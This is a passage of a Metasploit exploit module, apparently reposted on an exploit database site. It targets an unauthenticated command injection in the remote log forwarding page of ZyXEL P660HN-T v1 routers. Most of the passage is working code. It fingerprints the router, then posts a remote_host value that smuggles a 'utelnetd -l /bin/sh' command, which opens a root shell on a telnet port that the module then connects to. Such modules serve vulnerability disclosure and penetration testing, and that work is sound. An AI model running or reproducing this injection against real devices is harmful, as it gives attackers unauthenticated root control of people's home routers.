This customised version has an unauthenticated command injection vulnerability in the remote log forwarding page. This module was tested in an emulated environment, as the author doesn't have access to the Thai router any more. Any feedback should be sent directly to the module's author, as well as to the Metasploit project. There are other language strings in the firmware, so it is likely that this firmware is not only distributed in Thailand. Other P660HN-T v1 in other countries might be vulnerable too. }, 'Author' => [ 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'Platform' => 'unix', 'References' => [ ['URL', 'http://seclists.org/fulldisclosure/2017/Jan/40'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt'], ['URL', 'https://blogs.securiteam.com/index.php/archives/2910'] ], 'Targets' => [ [ 'P660HN-T v1', {}], ], 'Privileged' => true, 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'DisclosureDate' => 'Dec 26 2016', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), OptInt.new('TelnetPort', [true, "Telnet port we're going to use", 9999]), ], self.class) end def check res = send_request_cgi!({ 'uri' => '/cgi-bin/authorize.asp', 'method' => 'GET' }) if res && res.body =~ /ZyXEL P-660HN-T1A/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Unknown end end def exploit print_status("#{peer} - Attempting to exploit router...") send_request_cgi({ 'uri' => '/cgi-bin/ViewLog.asp', 'method' => 'POST', 'vars_post' => { 'remote_submit_Flag' => '1', 'remote_syslog_Flag' => '1', 'RemoteSyslogSupported' => '1', 'remote_host' => ";utelnetd -l /bin/sh -p #{datastore['TelnetPort']} -d;#", 'remoteSubmit' => 'Save' } }) sleep 5 begin ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['TelnetPort'], 'Context' => ctx, 'Timeout' => 10 }) if not sock.nil? print_good("#{peer} - Success, shell incoming!") return handler(sock) end rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e sock.close if sock end fail_with(Failure::Unknown, "#{peer} - Failed to exploit router.") end end # Iranian Exploit DataBase = http://IeDb.Ir [2017-02-02]
